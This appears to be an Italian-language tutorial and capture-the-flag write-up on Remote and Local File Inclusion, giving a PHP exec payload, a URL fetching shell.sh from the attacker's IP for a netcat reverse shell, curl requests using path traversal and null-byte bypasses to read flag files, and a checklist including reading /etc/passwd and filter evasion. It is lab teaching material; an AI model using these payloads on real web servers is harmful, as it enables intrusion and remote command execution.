Tutorials

Remote File Inclusion

Con l'RFI - Remote File Inclusion è possibile ottenere l'RCE - Remote Command Execution. Infatti l'RFI è una vulnerabilità molto più pericolosa rispetto all'LFI. Con l'RFI è possibile ad esempio scari

#exploitation#web

Con l'RFI - Remote File Inclusion è possibile ottenere l'RCE - Remote Command Execution. Infatti l'RFI è una vulnerabilità molto più pericolosa rispetto all'LFI. Con l'RFI è possibile ad esempio scaricare file da un server esterno. esempio: https://vittima.com/MIO_IP:8000/shell.sh.

MIO_IP = è l'indirizzo del mio web server dove ho i file da scaricare

In questo esempio andiamo a scaricare una shell sul sito web vittima, in modo da poter ottenere una reverse shell con netcat ed exploitare la macchina attaccata.

Bisogna creare un file di testo con i comandi da eseguire, per un backend php.

Esempio: cmd.txt

shell
<?PHP print exec('comando-da-eseguire'); ?>

CHALLENGE FILE INCLUSION SPIEGAZIONE:

flag 1: cambiare la richiesta da GET a POST (o con burpsuite o tramite ispeziona pagina) poi cercare il file../../../../etc/flag1

flag 2: la pagina è visibile solo agli admin. Quindi tramite ispeziona pagina cambiare cookie THM e impostare "admin". Dopodichè ci viene mostrata la home page dedicata agli amdin. Allora lì capisco che tramite i cookie è possibile fare una richiesta di un file. Allora nel cookie thm tolgo admin ed inserisco "../../../../etc/flag2%00", Così mi viene mostrata la flag 2. Con %00 bypassiamo il controllo del sito.

flag 3: qui il problema è che facendo la richiesta dal sito viene aggiunto al termine del file indicato '.php' Allora procedo a fare la richiesta da terminale con il seguente comando:

curl -X POST http://10.10.30.225/challenges/chall3.php -d 'method=POST&file=../../../../etc/flag3%00' --output -

flag 4: qui abbiamo avuto la possibilità di sfruttare l'RCE tramite l'RFI. Allora sul nostro server web abbiamo caricato questo file:

bash
<?PHP print exec('hostname'); ?>

Con questa vulnerabilità infatti c'è la possibilità di ottenere l'esecuzione remota di comandi, e visto che la flag richiedeva di trovare l'hostname della macchina, abbiamo creato un file con un comando all'interno per appunto mostrare a video l'hostname della macchina.

TECNICHE DA PROVARE PER IL FILE INCLUSION:

  • ../../../../etc/passwd: in base a quale directory siamo, dobbiamo vedere quante volte scrivere il commando '../' per andare indietro nella path 
  • ....//....//....//....//etc/passwd: bisogna raddoppiare il comando '../' se quest'ultimo viene eliminato da un filtro. Raddoppiando, uscirà questo ....//, quindi il filtro toglierà un solo ../, e rimarrà questo ../../../../etc/passwd 
  • provare a fare la richiesta anche da terminale, come fatto sopra 
  • provare RFI - Remote File Inclusion, quindi provare ad iniettare comandi all'interno del server web php. Se ti accorgi che il server è scritto in un altro linguaggio, cambiare il file 'cmd.txt', con il linguaggio adatto. 
  • alla fine del file inserire il nullbyte per bypassare il check (%00 / 0x00) 
  • provare a cambiare la richiesta da GET a POST o viceversa tramite ispezione pagina o tramite burpsuite, mandando la richiesta al repeater